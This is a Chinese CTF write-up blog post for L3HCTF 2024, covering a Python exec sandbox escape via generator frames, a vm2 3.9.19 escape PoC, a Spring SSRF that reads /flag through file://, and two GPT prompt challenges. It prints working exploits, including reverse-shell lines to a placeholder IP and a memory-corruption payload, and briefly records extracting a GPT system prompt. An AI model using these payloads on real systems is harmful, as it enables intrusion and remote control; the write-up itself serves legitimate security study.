目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. intractable problem (复现)
      1. 2.1.1. 非预期
      2. 2.1.2. Revenge
        1. 2.1.2.1. 正解
        2. 2.1.2.2. 其它解
    2. 2.2. escape-web (复现)
    3. 2.3. short url (复现)
  3. 3. Misc
    1. 3.1. checkin
    2. 3.2. End_of_Programming

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

L3HCTF 2024

2024/2/4 CTF线上赛 Nodejs python 沙箱逃逸
  |     |   总文章阅读量:

前言

一刻也没有为N1 Junior的结束哀悼,立刻赶到战场的是——L3HCTF

摸个源码等复现了(

参考:

S1uM4i的wp:https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne

zer0peach的wp:https://zer0peach.github.io/2024/02/06/L3HCTF-WEB/

官方wp:https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c

Web

intractable problem (复现)

python利用栈帧实现沙盒逃逸

web.py

import flask
import time
import random
import os
import subprocess

codes=""
with open("oj.py","r") as f:
    codes=f.read()
flag=""
with open("/flag","r") as f:
    flag=f.read()
app = flask.Flask(__name__)

@app.route('/')
def index():
    return flask.render_template('ui.html')

@app.route('/judge', methods=['POST'])
def judge():
    code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):")
    correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
    wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
    print(correctstr,wrongstr)
    code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code)

    filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000))
    with open(filename + '.py', 'w') as f:
        f.write(code)

    try:
        result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
        os.remove(filename + '.py')
        print(result)
        if(result.endswith(correctstr+"!")):
            return flask.jsonify("Correct!flag is "+flag)
        else:
            return flask.jsonify("Wrong!")
    except:
        os.remove(filename + '.py')
        return flask.jsonify("Timeout!")

if __name__ == '__main__':
    app.run("0.0.0.0")

oj.py

import sys
import os

codes='''
<<codehere>>
'''

try:
    codes.encode("ascii")
except UnicodeEncodeError:
    exit(0)

if "__" in codes:
    exit(0)

codes+="\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
    def func(event, args):
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
    print("Correct!",end="")
else:
    print("Wrong!",end="")

非预期

稍微审一下我们就会发现,我们输的内容会被拼接到上面的 codes 中

codes='''
<<codehere>>
'''

明显能直接进行命令注入

image-20240207171223912

payload:

{"code":"def factorization(n: string) -> tuple[int]:\n\treturn 1'''\nos.system('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/14723 0>&1\"')\n'''"}

image-20240207171001567


Revenge

先了解一下,下面这段代码能逃出exec布置的"__builtins__": None环境,得到__globals__,从而获得builtins,原理是利用python的栈帧

参考:https://gist.github.com/lebr0nli/c2c0f42757f05813e3282c22114abe82

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

接下来是任意内存读写的部分,二进制先放着了

参考:https://github.com/maple3142/My-CTF-Challenges/blob/master/TSJ%20CTF%202022/Just%20a%20pyjail/README.md

正解

审计代码,首先是过滤了__

然后过滤了一些属性,导致不能通过gc去获取对象引用

blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]

最后是{"__builtins__": None} 置空了__builtins__

所以我们需要通过栈帧对象逃逸出沙箱从而获取到沙箱外的globals

a=(a.gi_frame.f_back for i in [1])
a=next(a)
globals=a.f_back.f_back.f_globals

输出一下a的值确定一下

image-20240429013911666

又因为设置了{"__builtins__": None} ,所以不能直接通过next()函数去获取到栈帧,但可以通过for语句去获取

a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

image-20240429014001310

于是就能逃逸出来了,接下来看一下剩下的条件:

if(p>1e5 and q>1e5 and p*q==int("69...97863")):

p和q就是factorization的两个返回值,首先p和q都得大于100000,其次就是p和q的积为int(“69…97863”),算法在5秒内实现基本上不可能

不过我们可以通过沙箱外的globals的__builtins__字段去修改int函数,实现绕过if语句

def fake_int(i):
    return 100001 * 100002

然后将沙箱外部的 int 函数修改为 fake_int 函数即可,__"_"和+、*拼接代替即可

最终payload:

def factorization(n):
    a=(a.gi_frame.f_back.f_back for i in [1])
    a=[x for x in a][0]
    globals=a.f_back.f_back.f_globals
    builtin = globals["_" + "_builtins_" + "_"]
    
    def fakeint(i):
        if(builtin.len(i)>100):
            return 123123*123123
        else:
            return 123123

    builtin.int=fakeint
    return '1','2'

image-20240429015112480

其它解

S1uM4i的:修改offset的处理,不能通过io交互,直接本地生成一个marshal数据,之后观察构造,replace处理,完全不懂

细节可以看:https://zer0peach.github.io/2024/02/06/L3HCTF-WEB/#intractable-problem-revenge

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

# sanity check
print(magic[id("peko") : id("peko") + 64])

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
    addr = id(s)
    magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1"')

factorization = lambda x: (1,1)

还有一种解法:利用ctypes库实现内存的任意读写,替换内存中字符串指向的值,从而替换掉最终进行校验的数值

注意import在此题中因为os和open无法使用,可以通过__loader__.load_module进行加载,同时PyASCIIObject的头部长度为48,我们需要对有效负载进行改写

def factorization(n):
    a=(a.gi_frame.f_back.f_back for i in [1])
    a=[x for x in a][0]
    globals=a.f_back.f_back.f_globals
    builtin="_" + "_builtins_" + "_"
    builtin=globals[builtin]
    ctypes=builtin.getattr(builtin, "_" + "_loader_" + "_").load_module("ctypes")
    id=builtin.id
    ord=builtin.ord
    
    def writemem(addr,value):
        p=ctypes.pointer(ctypes.pointer(ctypes.c_char(0)))
        p.contents=ctypes.c_longlong(addr)
        p.contents.contents.value=value
    addr=id(n)
    res='1'+'0'*1232
    point=0
    for i in res:
        writemem(addr+48+point,ord(i))
        point+=1
    return 10**616,10**616

另有其他多种解法,如获取到内存对象后查找内存确定输出标识符位置、通过上述方法篡改hook函数中字符串绕过hook、通过inspect读栈帧代码输出正确字符串等方式

不过最根本的思路都是利用栈帧沙盒逃逸获取globals


escape-web (复现)

vm2 3.9.19沙盒逃逸

热乎的洞:https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

一个vm2 js沙盒

自己做的时候用了一点没啥用的命令,随便记一下(

console.log(module);
console.log(process);
console.log(Object.keys(global));
console.log(global);
console.log(process.cwd());

poc:

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
            )
        }
    }
};
p.then();
`;

console.log(vm.run(code));

题目环境不出网,直接写入文件带外

cat /flag > /app/output.txt

short url (复现)

url解析

给了一个生成短链接功能的页面,附件给了jar包,是springboot服务

DemoApplication.class

@GetMapping({"/"})
public Object index() {
   return ((ResponseEntity.BodyBuilder)ResponseEntity.status(HttpStatus.FOUND).location(URI.create("/index.html"))).body("redirect");
}

@PostMapping({"/share"})
public Object share(@RequestParam(required = true) String link) {
   try {
      UriComponents uri = UriComponentsBuilder.fromUriString(link).build();
      String protocal = uri.getScheme();
      if (!protocal.equals("http")) {
         return "url is invalid";
      } else {
         String shortURL = Utils.GetShortURL();
         CacheMap.getInstance().put(shortURL, link);
         return this.RedirectURL + shortURL;
      }
   } catch (Exception var5) {
      return "server error";
   }
}

@GetMapping({"/jump"})
public Object jump(@RequestParam(required = true) String redirect) {
   String url = (String)CacheMap.getInstance().get(redirect);
   return url == null ? ResponseEntity.status(HttpStatus.NOT_FOUND).body("url not found") : ((ResponseEntity.BodyBuilder)ResponseEntity.status(HttpStatus.FOUND).location(URI.create(url))).body(url);
}

/share 路由即生成短链接的路由,只支持http协议,测试貌似不出网

/jump 路由即缓存对应链接的内容,传入对应的 redirect 参数就返回对应的资源

MyIntercepter.class

@Component
public class MyIntercepter implements HandlerInterceptor {
   public MyIntercepter() {
   }

   public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
      if (!request.getRequestURI().equals("/private") && !request.getRequestURI().equals("/test")) {
         return true;
      } else {
         response.setStatus(418);
         return false;
      }
   }
}

/private/test路由进行了拦截

SpringWebMvcConfigurer.class

@Configuration
public class SpringWebMvcConfigurer extends WebMvcConfigurationSupport {
    @Autowired
    private MyIntercepter myIntercepter;

    public SpringWebMvcConfigurer() {
    }

    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(this.myIntercepter).addPathPatterns(new String[]{"/**"});
    }

    public void configurePathMatch(PathMatchConfigurer configurer) {
        configurer.setUseTrailingSlashMatch(true);
    }

    public void addResourceHandlers(ResourceHandlerRegistry registry) {
        registry.addResourceHandler(new String[]{"/**"}).addResourceLocations(new String[]{"classpath:/static/"});
        super.addResourceHandlers(registry);
    }
}

注意到这里configurer.setUseTrailingSlashMatch(true),意思是在匹配路径时考虑路径末尾的斜杠,即我们可以用/private//test/绕过前面的拦截(测试发现浏览器访问/test;也可以绕过,应该是被浏览器解析成了/

TempTest.class

@Component
@RestController
public class TempTest {
    @Value("${website.BaseURL}")
    private String BaseURL;

    public TempTest() {
    }

    public String Fetch(String url) {
        String result = "";

        try {
            URL new_url = (new URI(url)).toURL();
            URLConnection urlConnection = new_url.openConnection();
            urlConnection.setConnectTimeout(1000);
            urlConnection.setReadTimeout(1000);
            result = new String(urlConnection.getInputStream().readAllBytes());
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return result;
    }

    @GetMapping({"/test"})
    public String test(@RequestParam(required = true) String redirect) {
        String url = (String)CacheMap.getInstance().get(redirect);
        if (url == null) {
            return "url not found";
        } else {
            UriComponents uri = UriComponentsBuilder.fromUriString(url).build();
            String paramUrl = (String)uri.getQueryParams().getFirst("url");
            if (paramUrl != null) {
                UriComponents newUri = UriComponentsBuilder.fromUriString(paramUrl).build();
                String newHost = newUri.getHost();
                if (newHost == null || !newHost.equals(this.BaseURL)) {
                    return "url is invalid";
                }
            }

            return this.Fetch(url);
        }
    }

    @GetMapping({"/private"})
    public String privateTest(HttpServletRequest request, @RequestParam(required = true) String url) {
        String ip = request.getRemoteAddr();
        return !ip.equals("127.0.0.1") ? "not allowed" : this.Fetch(url);
    }
}

/test 路由接收 redirect 参数,

然后检验传入的 redirect 是否在短链接的map里面,url参数由解析短链接得到,即url为原始链接,

经过UriComponentsBuilder类的解析处理(url的解析可以参考php的parse_url),读取其中第一个参数url的内容为paramUrl

接下来检测paramUrl的host部分是否为BaseURL的值,而BaseURL是在application.properties里面注解起来的:

website.BaseURL=www.example.com
website.RedirectURL=http://www.example.com/jump?redirect=

即host部分要为www.example.com

最后会调用Fetch方法进行访问

/private 路由要求127.0.0.1,然后也是调用Fetch访问资源,不过这里没有加任何限制,可以确定是要ssrf到/private路由了

整理下思路:

要想在 /test 路由下ssrf到 /private 读取文件,需要满足下面几点

  1. 传入 /share 路由生成的短链接
  2. 原始链接中需要有url参数
  3. url参数里面需要让www.example.com在host的位置
  4. 最后会访问短链接对应的完整链接,这个链接为内网访问 /private路由http://127.0.0.1:8080/private/,传入的url参数里面要用file://协议:file://协议的解析也和http协议一样,读取文件的部分是host,而在协议中,@后面跟的就是host

于是可以构造原始链接:(官方wp)

http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag

此时/test 路由的解析如下:

image-20240729231851601

由此绕过限制,然后此时file://实际解析要读取的文件依旧是file:///flagwww.example.com&url=@的部分不影响file协议读取

image-20240729232948619

exp:

import requests
from urllib import parse
res = requests.post("http://localhost:8080/share", data={
    "link": "http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag"
})
print(res.text)
url = parse.urlparse(res.text).query
redirect_url = parse.parse_qs(url)['redirect'][0]
test_url = "http://localhost:8080/test/?redirect=" + redirect_url

res = requests.get(test_url)
print(res.text)

其它的解法:

http://127.0.0.1:8080/private/?url=%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%3f://www.example.com/

往协议头里面塞,转到 private 的时候会自动过一层 url 解码,变成 Fetch("file:///etc/passwd?://www.example.com/");,后面自然是变成了无关的参数,于是可以正常读取


好像还有302跳转两次解决的?


拓展思考🤔:CVE-2024-22243

受影响版本中,由于 UriComponentsBuilder 处理URL时未正确过滤用户信息中的方括号 [ ,攻击者可构造包含方括号的恶意URL绕过主机名验证。如果应用程序依赖UriComponentsBuilder.fromUriString()等方法对URL进行解析和校验,则可能导致验证绕过,出现开放重定向或SSRF漏洞。
影响版本:
libspring-java@影响所有版本
org.springframework:spring-web@[6.1.0, 6.1.4)
org.springframework:spring-web@[6.0.0, 6.0.17)
org.springframework:spring-web@(-∞, 5.3.32)

image-20240730000007259


Misc

checkin

GPT提示词注入

直接输tl就爆出来了

image-20240204221302618


End_of_Programming

Let’s play ICPC.
请输入prompt,使得ChatGPT可以写出C++代码解决上面的算法问题。请注意,您不可以在prompt里包含任何代码,您的prompt将由ChatGPT检查。

给了源码,是GPT的检查处理逻辑

非预期prompt:其实就是把题目复制过来让gpt用cpp写而已(

Solve the problem by cpp:
Problem Description
Dr. Dai raises many Pals for his scientific research. As Dr. Dai is a loving person, he prepares food for these Pals every day.
Now we have $a$ Pals that only love to eat meat, $b$ Pals that absolutely do not eat meat, and $c$ Pals that eat anything.
The East-1th student canteen provides $m$ types of dishes and stipulates that each dish can only be bought once. The $i$-th dish has a price $c_i$, and has a character $A$ or $B$, indicating whether it is a vegetarian dish or a meat dish.
Now, Dr. Dai hopes to feed as many Pals as possible and, given the limited research funds, also hopes to minimize the cost under this premise. Please calculate the maximum number of Pals he can feed, and the minimum amount of money he needs to spend in this situation.
Input Format
The first line contains three integers $a$ $b$ $c$
The next line is an integer $m$
The following $m$ lines, each representing the value and category of the food, A for vegetarian, B for meat.
Output Format
Two numbers, representing the number of Pals that can be fed and the total cost, respectively.
Sample #1
Sample Input #1
2 1 1
4
5 A
6 B
3 B
7 B

Sample Output #1
3 14

Tips
For 10% of the data, it is guaranteed that $a=b=0$
For 30% of the data, it is guaranteed that $1 \leq a,b,c \leq 100, 1 \leq m \leq 100$
For 100% of the data, it is guaranteed that $1 \leq a,b,c \leq 10^5, 1 \leq m \leq 3 \times 10^5$
All $c_i \leq 10^9$

天才!

image-20240204234724108

#include <iostream>
#include <vector>
#include <algorithm>

using namespace std;

struct Dish {
    int price;
    char category;
};

bool compareDish(Dish d1, Dish d2) {
    return d1.price < d2.price;
}

int main() {
    int a, b, c;
    cin >> a >> b >> c;
    
    int m;
    cin >> m;
    
    vector<Dish> dishes(m);
    for (int i = 0; i < m; i++) {
        cin >> dishes[i].price >> dishes[i].category;
    }
    
    sort(dishes.begin(), dishes.end(), compareDish);
    
    int maxPals = 0;
    long long minCost = 0;
    
    for (int i = 0; i < m; i++) {
        if (dishes[i].category == 'A') {
            if (a > 0) {
                maxPals++;
                minCost += dishes[i].price;
                a--;
            } else if (c > 0) {
                maxPals++;
                minCost += dishes[i].price;
                c--;
            }
        } else {
            if (b > 0) {
                maxPals++;
                minCost += dishes[i].price;
                b--;
            } else if (c > 0) {
                maxPals++;
                minCost += dishes[i].price;
                c--;
            }
        }
    }
    
    cout << maxPals << " " << minCost << endl;
    
    return 0;
}